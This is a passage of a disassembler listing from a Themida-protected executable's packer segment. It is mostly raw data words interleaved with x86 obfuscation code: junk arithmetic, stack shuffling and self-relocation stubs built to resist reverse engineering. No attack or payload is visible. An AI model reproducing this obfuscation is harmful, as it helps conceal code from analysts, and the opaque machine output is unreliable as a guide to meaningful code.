34380055h, 31A80055h dd 30270055h, 239B0056h, 0D5990055h, 5820055h, 535E0056h dd 22920055h, 1BE40056h, 96B0055h, 0C3180056h, 9A6B0055h dd 6C950055h, 0C970055h, 75110056h, 1DF0055h, 17AA0055h dd 0A940056h, 76910056h, 571B0055h, 6F00055h, 3CFC0055h dd 116A0055h, 172C0056h db 55h, 0 ; --------------------------------------------------------------------------- loc_54F326: ; CODE XREF: Themida_:00594417j ; Themida_:0059CA6Fj ... pusha pushf cld call $+5 pop edi sub edi, 64F4BDCh mov eax, edi add edi, 64F48F4h cmp eax, [edi+2Ch] jnz short loc_54F344 jmp short loc_54F357 ; --------------------------------------------------------------------------- loc_54F344: ; CODE XREF: Themida_:0054F340j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_54F353 ; --------------------------------------------------------------------------- loc_54F34E: ; CODE XREF: Themida_:0054F355j add [edi+ecx*4+40h], eax dec ecx loc_54F353: ; CODE XREF: Themida_:0054F34Cj or ecx, ecx jnz short loc_54F34E loc_54F357: ; CODE XREF: Themida_:0054F342j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_54F364: ; CODE XREF: Themida_:0054F36Bj xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_54F364 loc_54F36D: ; CODE XREF: Themida_:0054FEABj ; Themida_:00552B4Cj ... lodsb push edx push 3923h mov [esp], eax push ecx mov ch, 53h sub ch, 2Bh sub ch, 29h jmp loc_55C684 ; --------------------------------------------------------------------------- aZSI db '‡<$\éÀi',0 align 2 dw 34FFh dd 0C4835824h, 4EE8104h, 87000000h, 895C2434h, 0FE92404h dd 0FF0000C1h, 5B042474h, 2FCDE9h, 0DCE98100h, 29A1A5FCh dd 0F74059C8h, 2D1E9D8h, 5F540000h, 4BA52h, 0EF810000h dd 5F355C39h, 0B951D701h, 364C1468h, 7644C981h, 0C181542Bh dd 0E8C5E5CDh, 8B59CF01h, 0C4832414h, 8DBE904h db 1, 0 ; --------------------------------------------------------------------------- loc_54F3F2: ; CODE XREF: Themida_:0056086Fj push ebx mov ebx, 0C107971h shr ebx, 2 shl ebx, 5 jmp loc_55E233 ; --------------------------------------------------------------------------- loc_54F403: ; CODE XREF: Themida_:00554230j mov edi, 37BD400Ch not edi and edi, 3942573h dec edi xor edi, 93B7F9Dh add eax, edi pop edi sub eax, 37204DFAh add eax, edi add eax, 37204DFAh sub eax, 93B5AEFh mov edi, [esp] add esp, 4 jmp loc_5577D9 ; --------------------------------------------------------------------------- aHgj db '\hgJ',0 align 4 dd 54241489h, 5024148Bh, 4055854h, 5000000h, 4, 8E96E950h dd 0FF580000h, 835B2434h, 34FF04C4h, 2FE95924h db 29h, 1, 0 ; --------------------------------------------------------------------------- loc_54F467: ; CODE XREF: Themida_:00554CC9j mov cl, 0E9h xor dl, cl pop cx add al, dl push dword ptr [esp] mov edx, [esp] push edx mov edx, esp jmp loc_55A826 ; --------------------------------------------------------------------------- db 5Eh, 0F7h, 0D6h dd 235EC681h, 814E284Dh, 0B52740C6h, 5EF10157h, 4C18158h dd 87000000h, 248B240Ch, 0FECBE924h, 0D15BFFFFh, 88E947EFh db 0CCh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54F4AB: ; CODE XREF: Themida_:0055625Dj xchg ebx, [esp] mov esp, [esp] jmp loc_55E2A1 ; --------------------------------------------------------------------------- dw 6866h dd 89660D18h, 65E9241Ch db 0C2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54F4C3: ; CODE XREF: Themida_:0054F8E7j pop eax add ebp, esi pop esi add ebp, esi push eax mov eax, 2C5C0DD6h jmp loc_55F9C8 ; --------------------------------------------------------------------------- dd 3818EF81h, 35E95106h, 0AD00003Ah, 12FDBB53h, 0E3C1469Bh dd 1BA5205h, 0E9000000h, 264Eh, 240C8966h, 0FFFE70E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F4FD: ; CODE XREF: Themida_:0054FD46j add edi, ecx jmp loc_553E26 ; --------------------------------------------------------------------------- dd 8BEB015Fh, 8953242Ch, 4C381E3h, 81000000h, 4C3h, 241C8700h dd 20B8505Ch, 353DA06Eh, 63BA5762h, 7EBD5540h, 29063908h dd 242C8BE8h, 81E18951h, 4C1h, 4C18300h, 5C240C87h, 0D0F79797h dd 1129E9h db 0 ; --------------------------------------------------------------------------- loc_54F54D: ; CODE XREF: Themida_:0054F986j or edi, 312F2D4Eh neg edi add edi, 7A03B370h mov ecx, edi pop edi push edx mov edx, ecx mov edi, edx pop edx pop ecx sub ecx, 35D80DBDh jmp loc_55A9DB ; --------------------------------------------------------------------------- aS_ db '!×é_[',0 dw 0BD00h dd 0F664B99h, 0E5C1D5F7h, 7EE94D06h, 87000039h, 8F5C240Ch dd 835C2404h, 0C8904ECh, 52A7B524h, 0D6F651B6h, 5118EE80h dd 0B75339B1h, 1F99E9D6h, 70B80000h, 14D5AA2h, 0C28959C8h dd 37F28158h, 94BA30Fh, 15BBE9D1h, 0F2890001h, 5E2434FFh dd 5104C483h, 0A9046DB9h, 59CE290Bh, 0BA52D601h, 0BA9046Dh dd 852DE9h db 0 ; --------------------------------------------------------------------------- loc_54F5E1: ; CODE XREF: Themida_:00552680j mov ecx, 147A0282h inc ecx jmp loc_55CEA5 ; --------------------------------------------------------------------------- loc_54F5EC: ; CODE XREF: Themida_:00561884j pop edi xor esi, edx pop edx add ebx, esi pop esi jmp loc_560F1C ; --------------------------------------------------------------------------- dd 4EC81h, 2C890000h, 99AFBD24h, 0D9E97B2Ah, 890000F4h dd 240C8BCBh, 8104C483h, 0FE3158F3h, 0E38143h, 813A3202h dd 0BE28E5C3h, 0E100E91Ah, 0EF280000h, 2509E959h, 0FF500000h dd 8B042474h, 0C4832404h, 24048F04h, 6624248Bh, 6866E9F7h dd 89660716h, 0FE92414h db 67h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54F653: ; CODE XREF: Themida_:0055EA43j push esp pop esi add esi, 4 push edx jmp loc_559131 ; --------------------------------------------------------------------------- db 1, 0DAh, 0E9h dd 0F49Eh, 405h, 40500h, 4870000h, 24248B24h, 9AA6E9h db 0 ; --------------------------------------------------------------------------- loc_54F67D: ; CODE XREF: Themida_:0055B131j pop eax shr ecx, 6 jmp loc_5522C2 ; --------------------------------------------------------------------------- dw 0F681h dd 5AAE59A4h, 15E95550h, 0C10000E5h, 0D52D02E0h, 68FA07EAh dd 276h, 0E9242C89h, 417Eh, 29E95854h, 0C10000F1h, 0F18104E1h dd 77384A69h, 30EDF181h, 0CB29F6F1h, 82EB8159h, 0E9213032h dd 1661h ; --------------------------------------------------------------------------- loc_54F6CC: ; CODE XREF: Themida_:00551CD1j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_55CA1E ; --------------------------------------------------------------------------- loc_54F6DA: ; CODE XREF: Themida_:0055263Aj pop edx jmp loc_555EBE ; --------------------------------------------------------------------------- dd 0BD242C89h, 4, 2C8BE901h, 4C48324h, 0C8BF5755h, 0E90BCB1Fh dd 0F444h, 4CEB8159h, 0E952E27Dh, 2A00h, 4C481h, 0E9570000h dd 17E9h, 0D55BC681h, 3805082Bh, 157EB7Ch, 7C382DF0h, 295E57EBh dd 57BA52F0h, 0E9361254h, 55D3h, 2BFh, 6826E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F73E: ; CODE XREF: Themida_:00559E6Bj mov edx, 5F0F2B22h mov edi, 15BDDD14h add edi, 76000A3Dh add edi, edx push esi mov esi, 0B28034Ah and esi, 177E1FB6h jmp loc_5505CC ; --------------------------------------------------------------------------- db 0FFh, 77h, 40h dd 0FFFC04E9h, 0E9E289FFh, 0F084h, 0C0E9D901h, 5C0000AFh dd 5204C483h, 8F1D26BAh, 0CD8FE977h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F786: ; CODE XREF: Themida_:005561CFj mov ecx, esi pop esi jmp loc_560B91 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 8324148Bh, 443104C4h, 0A3E90424h, 660000C1h, 68240C8Bh dd 1B05h, 83240489h, 8F5404ECh, 9AE92404h db 32h, 1, 0 ; --------------------------------------------------------------------------- loc_54F7BB: ; CODE XREF: Themida_:0055CB3Dj add esi, edx pop edx push 2AB2h mov [esp], ecx mov ecx, 3ABA0E92h add ecx, 53ED2379h not ecx push ecx dec dword ptr [esp] pop ecx push eax mov eax, 4F2F3D05h or eax, 27E37123h and eax, 267908EDh jmp loc_5620CB ; --------------------------------------------------------------------------- aBEA_s db ')<$,$e/Óa_é',7,'±',0 dd 502CAC00h, 809DB353h, 0C38074CBh, 0E9930479h, 0B46Ah dd 5D2434FFh, 8904EC83h, 0E0892404h, 405h, 40500h, 4870000h dd 0DA685C24h, 8900002Bh, 5F54243Ch, 76FE9h db 0 ; --------------------------------------------------------------------------- loc_54F839: ; CODE XREF: Themida_:0055D2EDj pop esp mov ebp, [esp] add esp, 4 push edi push edx push 53BE29F1h mov edx, [esp] push edx mov edx, esp push ebx mov ebx, 4 add edx, ebx mov ebx, [esp] add esp, 4 push esi mov esi, 4 jmp loc_559745 ; --------------------------------------------------------------------------- dd 3DF168h, 241C8900h, 2ACEE9h, 2CF68100h, 812D9D31h, 515DCEh dd 1FD6E928h, 48B0000h, 4C48124h, 57000000h, 4BFh, 0FFF80100h dd 0E95F2434h, 7460h, 68240C89h, 57C0h, 0B8240489h, 69E0098h dd 3E416850h, 0E958424Eh, 3537h ; --------------------------------------------------------------------------- loc_54F8C0: ; CODE XREF: Themida_:0055612Bj push ebp mov ebp, 0A3E3296h jmp loc_5551FC ; --------------------------------------------------------------------------- db 89h dd 8B54242Ch, 0E953242Ch, 130DEh ; --------------------------------------------------------------------------- loc_54F8D8: ; CODE XREF: Themida_:0055FE07j pop eax not eax sub eax, 57F249B1h add eax, 0A451A54Bh mov esi, eax jmp loc_54F4C3 ; --------------------------------------------------------------------------- dd 24148B66h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_552146 ; --------------------------------------------------------------------------- dd 55EF001h, 4, 0E9240487h, 13306h ; --------------------------------------------------------------------------- loc_54F908: ; CODE XREF: Themida_:0055539Bj not edx jmp loc_5581F0 ; --------------------------------------------------------------------------- loc_54F90F: ; CODE XREF: Themida_:00550E10j sub edx, 4E321A7Ah add edx, ecx add edx, 4E321A7Ah push ebx push ecx jmp loc_556ABD ; --------------------------------------------------------------------------- dd 0C2C18149h, 1C1D131h, 0C58159CDh, 49C3819h, 1DE9C501h dd 5F000106h, 3304C683h, 34312434h, 24343324h, 325CE95Ch dd 0F9010000h, 5F2434FFh, 5104C483h, 0C1815954h, 4, 4E981h dd 0C870000h, 0C895C24h, 2474FF24h, 2434FF04h, 4C48359h dd 0E924048Fh, 5217h ; --------------------------------------------------------------------------- loc_54F980: ; CODE XREF: Themida_:00563455j push 438D4723h pop edi jmp loc_54F54D ; --------------------------------------------------------------------------- loc_54F98B: ; CODE XREF: Themida_:005566BCj sub esi, 3486894h pop ebp and eax, esi mov esi, [esp] add esp, 4 or eax, eax jz loc_555EBE push dword ptr [edi+1Ch] push dword ptr [esp] jmp loc_557A32 ; --------------------------------------------------------------------------- loc_54F9AD: ; CODE XREF: Themida_:00559A07j mov esi, 22166608h sub ebx, esi pop esi jmp loc_563434 ; --------------------------------------------------------------------------- loc_54F9BA: ; CODE XREF: Themida_:005583AAj xor eax, [esp] pop esp push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx push eax pop edx push 1E7Fh mov [esp], edx push dword ptr [esp] pop eax push edx jmp loc_55EF67 ; --------------------------------------------------------------------------- dd 0AD12E981h, 0CF0145EFh, 7CAE9h db 0 ; --------------------------------------------------------------------------- loc_54F9F5: ; CODE XREF: Themida_:00559258j sub esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp mov [esp], edi push ebx push dword ptr [esp] pop edi add esp, 4 push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edi pop eax pop edi sub esp, 4 mov [esp], edx mov edx, esp jmp loc_56048D ; --------------------------------------------------------------------------- loc_54FA38: ; CODE XREF: Themida_:00559F1Dj mov [esp], ebp push ecx jmp loc_55876D ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 51000000h, 66E3E9h, 2474FF00h, 48F5F04h, 0C2815C24h dd 18E85F20h, 0EA81F201h, 18E85F20h, 8124348Bh, 4C4h, 74FF5200h dd 8F5A0424h, 45E92404h db 0B3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54FA7B: ; CODE XREF: Themida_:0055FB8Fj shr ah, 3 sub ah, 3Ch dec ah push ebx mov bl, 0B1h or bl, 57h neg bl add bl, 0D9h or ah, bl jmp loc_5575C1 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h db 5Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax push edx mov edx, 4ED62DD1h mov eax, edx jmp loc_55ECCE ; --------------------------------------------------------------------------- dw 4BEh dd 1000000h, 24348BF1h, 0E904C483h, 754Ch ; --------------------------------------------------------------------------- loc_54FABC: ; CODE XREF: Themida_:00562494j add ch, 0D6h jmp loc_561905 ; --------------------------------------------------------------------------- dd 0E9241C87h, 342Dh, 8904EC83h, 968241Ch, 8900002Dh, 68552404h dd 17784D3Dh, 5568525Dh, 5A386C08h, 81BB53h, 0DA01CDAFh dd 2539E9h db 0 ; --------------------------------------------------------------------------- loc_54FAF5: ; CODE XREF: Themida_:00559F10j mov ecx, 1A8B1F19h add ecx, 24BA0C76h inc ecx jmp loc_551840 ; --------------------------------------------------------------------------- dw 0C89h dd 15EFB924h, 0F1815118h, 554F1D8Eh, 5059CB89h, 6F4DB951h dd 8141778Ch, 470400C1h, 56F18171h, 899C2B45h, 0E4E9E9C8h dd 34FF0000h, 240C8B24h, 4EC81h, 2C890000h, 81E58924h dd 4C5h, 47BCE900h, 0E5C00000h, 0B1515006h, 0E9C8886Bh dd 1383Ah, 0C8BE830h, 437DE924h, 0E7890000h, 46A3E9h, 243C8700h dd 2434895Ch, 1ADCB850h, 0C6894891h, 6D95E958h, 0E9500000h dd 0F24Eh ; --------------------------------------------------------------------------- loc_54FB88: ; CODE XREF: Themida_:0055B28Aj push 2D44h mov [esp], ebp push eax mov eax, 800h mov ebp, eax pop eax jmp loc_552A5F ; --------------------------------------------------------------------------- dw 0D389h dd 51D3F75Ah, 0C34404B9h, 4E1C141h, 0F705E9C1h, 0E9E987D9h dd 0A3D7h, 45B6E981h, 0E981501Fh, 18A16DE8h, 5FCBBB53h dd 65E9313Fh, 8100004Ah, 0FB5615E7h, 0C0F7812Fh, 14C77B5h dd 0C6815FF8h, 7E2128CBh, 0EE81C601h, 7E2128CBh, 923CE958h dd 0E9830000h, 74FF5104h, 8F590424h, 895C2404h, 0E9552434h dd 39DDh, 5A59EF88h, 0FA205958h, 0D9E2805Bh, 8023B151h dd 0CA282DEAh, 0E92DC280h, 12936h ; --------------------------------------------------------------------------- loc_54FC24: ; CODE XREF: Themida_:00561D74j pop eax add edx, esi sub edx, 7E1A2232h jmp loc_552D6B ; --------------------------------------------------------------------------- dw 2489h dd 24048324h, 0E9535E04h, 0C2DDh, 0F2B68h, 243C8900h, 0C781E789h dd 4, 8704C783h, 248B243Ch, 2E6C024h, 0D6F6CEFEh, 8802C680h dd 0EBB7E9F1h, 875F0000h, 248B2404h, 0B30F6624h, 0E99C2404h dd 0FFFFF6F1h, 8158C329h, 341B74C3h, 81C32972h, 341B74EBh dd 9C38172h, 8B3AB268h, 0C4832404h, 936E904h, 0C1580000h dd 0C38103EBh, 0FDFF1FF6h, 7B7BA52h, 0D5292BB2h, 621FE9h dd 39E95B00h, 8B000006h, 0B7E92434h db 1Fh, 1, 0 ; --------------------------------------------------------------------------- loc_54FCC3: ; CODE XREF: Themida_:0055229Aj or ebx, 6A753EAAh and ebx, 15785996h jmp loc_558FEA ; --------------------------------------------------------------------------- loc_54FCD4: ; CODE XREF: Themida_:00562431j mov ebp, 4 jmp loc_55E56A ; --------------------------------------------------------------------------- loc_54FCDE: ; CODE XREF: Themida_:0055B50Dj mov edi, 745B7195h inc edi and edi, 42294329h add edi, 302D6C1Dh sub edi, 3F634743h and ebp, edi pop edi sub ebp, 0A5C640BEh or edx, ebp pop ebp shl edx, 1 sub edx, 2FF61ECBh xor edx, 294227ACh sub edx, 486EF433h push ebp mov ebp, 140E5E6Eh or ebp, 2DE82376h shr ebp, 8 or ebp, 1D3F48F0h shl ebp, 3 and ebp, 3FBC586Fh add ebp, 0EB742D15h add edi, ebp pop ebp add edi, edx sub edi, 15307D7Dh pop edx jmp loc_54F4FD ; --------------------------------------------------------------------------- loc_54FD4B: ; CODE XREF: Themida_:0055618Cj mov [esp], ebp push edx push 6F640E61h pop edx shl edx, 8 jmp loc_551EE1 ; --------------------------------------------------------------------------- db 81h, 0CFh, 0B6h dd 0E93EB419h, 9C47h, 6AA5ED81h, 81456CE7h, 889655F5h dd 16A7E9B3h, 0C2810000h, 4, 4C281h, 14870000h, 0DCE95C24h db 38h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54FD8F: ; CODE XREF: Themida_:0055485Ej mov ecx, 4 add ebp, ecx pop ecx jmp loc_55860B ; --------------------------------------------------------------------------- loc_54FD9C: ; CODE XREF: Themida_:005573C4j add esp, 4 sub ebx, 1 xor ebx, 477C548Bh and eax, ebx mov ebx, [esp] jmp loc_560B37 ; --------------------------------------------------------------------------- dw 248Bh dd 0B60F6624h, 9A6866C8h, 0F732E95Fh, 52ACFFFFh, 0B7532AB6h dd 5BF8004Bh, 32D7E9h, 4C38100h, 33000000h, 1C31241Ch dd 241C3324h, 4502685Ch, 2C890000h, 0F667E924h, 0C4830000h dd 0E6895604h, 4C681h, 0C6810000h, 4, 31243433h, 88E92434h dd 51000025h, 4B9h, 59CE0100h, 5C243487h, 0C87E9h, 0FFDE0100h dd 835B2434h, 348704C4h, 24248B24h, 4C481h, 0D9680000h dd 89000022h, 0E589242Ch, 7DACE9h, 4C18100h, 83000000h dd 38E904C1h, 66FFFFF7h, 6824048Bh, 782h, 0E9240489h, 7417h dd 0DFF7D7F7h, 0EF81DFF7h, 1DC636C5h, 58E5EF81h, 0F989BCFCh dd 8BCF095Fh, 0C481240Ch, 4, 11B13E9h, 4C48100h, 68000000h dd 5EA9h, 10BB8E9h db 0 ; --------------------------------------------------------------------------- loc_54FE95: ; CODE XREF: Themida_:0056441Aj push ebx xor dword ptr [esp], 1520E6Fh pop eax xor eax, 1520E6Fh jmp loc_55445B ; --------------------------------------------------------------------------- loc_54FEA8: ; CODE XREF: Themida_:005535FAj pop dword ptr [esp] jmp loc_54F36D ; --------------------------------------------------------------------------- dd 89241489h, 839FE9E2h, 26BF0000h, 0F728BE49h, 7EC781DFh dd 0C10D5463h, 0E78103E7h, 411C0E18h, 9D84EF81h, 0F901C426h dd 0D263E9h, 0EEBE5600h, 81058448h, 0EDE455EEh, 5EF729BBh dd 0A120F781h, 0C781BA6Ah, 1, 8F8FE9h, 24048B00h, 4C481h dd 0E7E90000h, 81FFFFFCh, 4C4h, 26D46800h, 1C890000h, 0E1895124h dd 11724E9h, 0BB535F00h, 6A33412Ch, 0DBF7D3F7h, 0E9FFC383h dd 0D77h, 0E929045Bh, 121D9h, 6FE3814Bh, 0E9142E52h, 110F9h dd 5C240C87h, 0FFFFED81h, 0EDC1FFFFh, 4EC8105h, 89000000h dd 0EC81242Ch, 4, 8532E9h, 1C77FF00h, 419589Dh, 0F6E99C24h dd 66FFFFF3h, 81240C8Bh, 4ECh, 24048900h, 7F9068h, 24248900h dd 4240481h, 0FF000000h, 56582434h, 0AFAAE9h, 3C28100h dd 0E908A205h, 106A5h, 3170BE56h, 0D6F72B67h, 0EB82E956h dd 50590000h, 9C7715B8h, 58C2297Dh, 223EA81h, 0F2292CFDh dd 223C281h, 0C2812CFDh, 7D9C7715h, 4EAC15Eh, 51C3E9h dd 0E9DF2900h, 11B69h, 0E904C483h, 0FE96h, 5DEF295Dh, 0CEBF5753h dd 812A1B38h, 1BC3E4EFh, 5FFB890Eh, 0E88DE9h, 7C096800h dd 14890000h, 2474FF24h, 24148B04h, 6C7768h, 24148900h dd 66FBE954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_550022: ; CODE XREF: Themida_:00555A5Aj push esp pop edx push ebp jmp loc_55EA88 ; --------------------------------------------------------------------------- dw 0ED80h dd 9ED8099h, 48E9EB28h, 8000001Ch, 0D5E9A0E9h, 81000057h dd 4ECh, 242C8900h, 2A4BE952h db 1, 0 ; --------------------------------------------------------------------------- loc_55004E: ; CODE XREF: Themida_:0056311Aj sub ebx, 4 push ebx push dword ptr [esp+4] mov ebx, [esp] jmp loc_55B1DA ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0FF2434FFh, 685A2434h, 59A0h, 89243C89h, 4C781E7h, 81000000h dd 4C7h, 243C3300h, 33243C31h, 248B243Ch, 0E2895224h, 4C281h dd 0B8500000h, 34C76D8Ch, 0B3278E0Dh, 62E95019h, 68000078h dd 4954h, 52241C89h, 5F21ACBAh, 0FFBB5300h, 0E9FFFFFFh dd 12E08h ; --------------------------------------------------------------------------- loc_5500C0: ; CODE XREF: Themida_:0055110Ej add ecx, 4 xchg ecx, [esp] mov esp, [esp] push eax mov eax, 46EC5371h add esi, eax mov eax, [esp] jmp loc_557B8D ; --------------------------------------------------------------------------- loc_5500DC: ; CODE XREF: Themida_:00561F0Cj mov [esp], edx push 6001h mov [esp], esi mov esi, 11205D6Eh push edi mov edi, esi mov edx, edi jmp loc_557F91 ; --------------------------------------------------------------------------- loc_5500F6: ; CODE XREF: Themida_:0055B903j add esi, 6C3472A6h jmp loc_562F94 ; --------------------------------------------------------------------------- db 66h, 89h, 14h aDsoa db '$¶„é®í',0 align 4 dd 0C7815F54h, 4, 0E9E08950h, 8150h, 4C581h, 9DE90000h dd 0F6000015h, 86D986D3h, 6601244Ch, 35B45059h, 2006F480h dd 0CD8058E5h, 8EDC0D4h, 4EC81h, 1C890000h, 30B25224h dd 0E95AD388h, 0F68Dh, 0C681E689h, 4, 8704C683h, 0E95C2434h dd 0D34Eh ; --------------------------------------------------------------------------- loc_550168: ; CODE XREF: Themida_:00557684j pop eax jmp loc_563156 ; --------------------------------------------------------------------------- dw 0E289h dd 0F7F8E9h, 0A5E95C00h, 81000145h, 0E22183EFh, 0E4EF8141h dd 29083962h, 0E4C781C7h, 81083962h, 0E22183C7h, 2434FF41h dd 28C8E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55019E: ; CODE XREF: Themida_:00558CE3j push eax mov eax, 7E04142Ch sub ecx, 4C666DB1h jmp loc_5511B6 ; --------------------------------------------------------------------------- db 30h dd 241C8BF8h, 4EC81h, 0EBE90000h, 590000A6h, 0ACD5B951h dd 0CF019F35h, 64C28159h, 2972941Fh, 6600E9FAh, 875A0000h dd 0DCE9243Ch, 66000032h, 5602B60Fh, 0C6815E54h, 4, 8704EE83h dd 895C2434h, 16682414h, 54000036h, 5324048Fh, 4EC81h dd 14890000h, 4BA24h, 81520000h, 7F83242Ch, 1C8B6EBDh dd 9884E924h, 0D5880000h, 7EDC05Ah, 2454F651h, 0E5BE901h dd 685A0000h, 6388h, 0BF243C89h, 0C55923h, 7F9EB951h, 0CF212A92h dd 2E7C159h, 4D6768h, 242C8900h, 26002BBDh, 0F8C58149h dd 0E922CA50h, 68A4h, 8104C483h, 2F1657C3h, 1859E94Eh dd 87580001h, 0A1E9241Ch db 0B6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_550277: ; CODE XREF: Themida_:005553A9j push ebx mov bh, 37h push ax mov ah, 7Fh xor bh, ah pop ax push edx mov dl, bh mov al, dl pop edx pop ebx add bl, al pop eax movzx eax, al jmp loc_557397 ; --------------------------------------------------------------------------- dd 0AFBF5758h, 290DC901h, 243C8BFBh, 8104C483h, 1B555FC3h dd 81FB013Bh, 1B555FEBh, 0AFC3813Bh, 810DC901h, 2258A2EBh dd 5833FF1Ch, 110D1E9h db 0 ; --------------------------------------------------------------------------- loc_5502C5: ; CODE XREF: Themida_:0055EE41j add ecx, 0DCC815D6h push ecx mov ecx, 18C73964h dec ecx jmp loc_55E342 ; --------------------------------------------------------------------------- db 8Bh dd 0C481243Ch, 4, 5C24048Fh, 0E9240C89h, 0FFFFF081h, 0E9240489h dd 0FFFFF3B4h, 9E6FEB81h, 0DA01F0A7h, 5F6E685Bh, 4890000h dd 4B824h, 0E9560000h, 7CF5h ; --------------------------------------------------------------------------- loc_550310: ; CODE XREF: Themida_:0055AD0Aj sub edx, 4FD74DC2h inc edx add edx, 18BA33AAh add esi, edx jmp loc_55DF26 ; --------------------------------------------------------------------------- dd 4B9h, 59CE0100h, 4BB53h, 0DE010000h, 2434875Bh, 241C8B5Ch dd 8904EC83h, 58542404h, 0DCB0E9h, 0E95E5400h, 25C5h, 0E9240489h dd 978Fh, 42474FFh, 24048F5Ah, 2424D35Ch, 0FFF004E9h, 243C31FFh dd 0E9243C33h, 11251h, 8308E6C1h, 0ABE901EEh, 51000090h dd 4F40A5B9h, 0A5BF5728h, 0E926BA52h, 13D20h, 2474FF57h dd 0FF3DE904h, 0E789FFFFh, 4C781h, 0C7830000h, 243C8704h dd 77DAE9h, 240C3100h, 8B240C33h, 4292424h, 0AEE99C24h dd 81FFFFEFh, 4ECh, 83B7E900h, 0BB530000h, 21142ABDh, 0B32CE9h dd 0F2C38100h, 0E9564622h, 85F8h, 565B5453h, 4DBFE9h, 2434FF00h dd 0AE64E958h, 8B660000h, 52512404h, 0D9E9E289h, 810000A8h dd 0DE2F57C5h, 0EE6DE97Eh, 0C1810000h, 6C6C60CBh, 5559CB21h dd 100E1E9h, 0C4835800h, 0C7DDE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_550422: ; CODE XREF: Themida_:0055982Bj push 69B0h mov [esp], edi push dword ptr [esp+4] jmp loc_55ED38 ; --------------------------------------------------------------------------- loc_550433: ; CODE XREF: Themida_:00563022j pop esi add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ecx push 501Dh jmp loc_552666 ; --------------------------------------------------------------------------- aBWgrswq db ',$',0Ah db 'wƒréwQ',0 db 0 ; --------------------------------------------------------------------------- loc_55045D: ; CODE XREF: Themida_:0055C211j xchg ecx, [esp] pop esp or edx, eax shl edx, 1 push dword ptr [edi+24h] push edx push 1 pop edx jmp loc_56080F ; --------------------------------------------------------------------------- dd 2B8h, 8BC10100h, 682404h, 0E9000076h, 0BA76h ; --------------------------------------------------------------------------- loc_550488: ; CODE XREF: Themida_:00554047j add esp, 4 push ebx jmp loc_557D09 ; --------------------------------------------------------------------------- db 68h, 0FCh, 60h dd 8F540000h, 0A6E92404h, 5C000050h, 0E9240C89h, 44D1h dd 5B2434FFh, 4C481h, 85E90000h db 0FCh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5504B7: ; CODE XREF: Themida_:0055F415j and eax, 1CD04CBDh xor eax, 488C0E06h xor eax, 636F0746h xor ebx, eax pop eax xor edx, ebx push dword ptr [esp] pop ebx add esp, 4 jmp loc_55CA7C ; --------------------------------------------------------------------------- loc_5504D7: ; CODE XREF: Themida_:0055AB99j sub ebp, 6FD75D9h add ebp, 42E0FBAh jmp loc_55A79D ; --------------------------------------------------------------------------- dd 5547C181h, 87586C2Bh, 895C240Ch, 0E95B241Ch, 0FFFFEE71h dd 0A5E9C229h db 27h, 2 dup(0) ; --------------------------------------------------------------------------- loc_550503: ; CODE XREF: Themida_:0055721Aj mov edx, 46DF5B3Fh sub edi, edx pop edx add edi, esi push eax mov eax, 39C20190h xor eax, 7F1D5AAFh add edi, eax pop eax jmp loc_553455 ; --------------------------------------------------------------------------- loc_550520: ; CODE XREF: Themida_:00557CA1j xor ebx, 24B47156h push ebx push edi jmp loc_55F1AA ; --------------------------------------------------------------------------- aI4Qsv db '‰4$QéVÂ',0 align 2 dw 11BEh dd 2923516Dh, 24348BF2h, 104C483h, 4EC81C2h, 89000000h dd 51BB241Ch, 6871E811h, 605Bh, 0D70AE9h, 70C58100h, 81735C4Ch dd 5DF227F5h, 0E9E989B7h, 6F8h, 0E957E289h, 0E36Ah ; --------------------------------------------------------------------------- loc_550578: ; CODE XREF: Themida_:005605F8j pop ebx pop ebx push edi mov edi, 1E857768h not edi shl edi, 6 jmp loc_558B56 ; --------------------------------------------------------------------------- loc_55058A: ; CODE XREF: Themida_:00562F2Fj sub ecx, ebp add ecx, 3205356Ah pop ebp pop ebp xchg ecx, [esp] mov esp, [esp] sub esp, 4 mov [esp], edi jmp loc_55DD77 ; --------------------------------------------------------------------------- db 0F7h, 0D9h, 87h dd 17F281CAh, 514E2503h, 408C13B9h, 730E9C1h, 0C4830001h dd 281A2C04h, 4EC81D8h, 0E9000000h, 0CA31h ; --------------------------------------------------------------------------- loc_5505CC: ; CODE XREF: Themida_:0054F75Cj shl esi, 7 jmp loc_5533E3 ; --------------------------------------------------------------------------- dd 0E6B7F381h, 1E9F700h, 5C0000C7h, 89243C89h, 714B68E7h dd 0DE90000h, 58000013h, 2133E9h, 0E6895600h, 4C681h, 61E90000h dd 89000008h, 56B9240Ch, 81626B38h, 0BB61B4EFh, 81CF0178h dd 0BB61B4C7h, 0FB295978h, 50EB295Fh, 6D48EEB8h, 0E9C30168h dd 0ADA5h, 522DDEB8h, 0FFBE9D3h, 0F0310000h, 8324348Bh dd 535104C4h, 0FC3CE9h, 20500h, 4870000h, 69E95C24h, 89000106h dd 4C181E1h, 57000000h, 2E28E9h, 5AD50100h, 5C242C87h dd 3103E953h, 248B0001h, 1E6EE924h, 0C7310001h, 0C731F831h dd 57570597h, 8D2D55A5h, 1FDC426h, 0FBE0E9C3h, 